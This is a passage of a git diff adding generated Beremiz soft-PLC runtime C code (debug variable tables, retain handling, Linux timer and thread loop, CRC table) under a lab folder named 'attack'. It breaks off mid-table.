UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 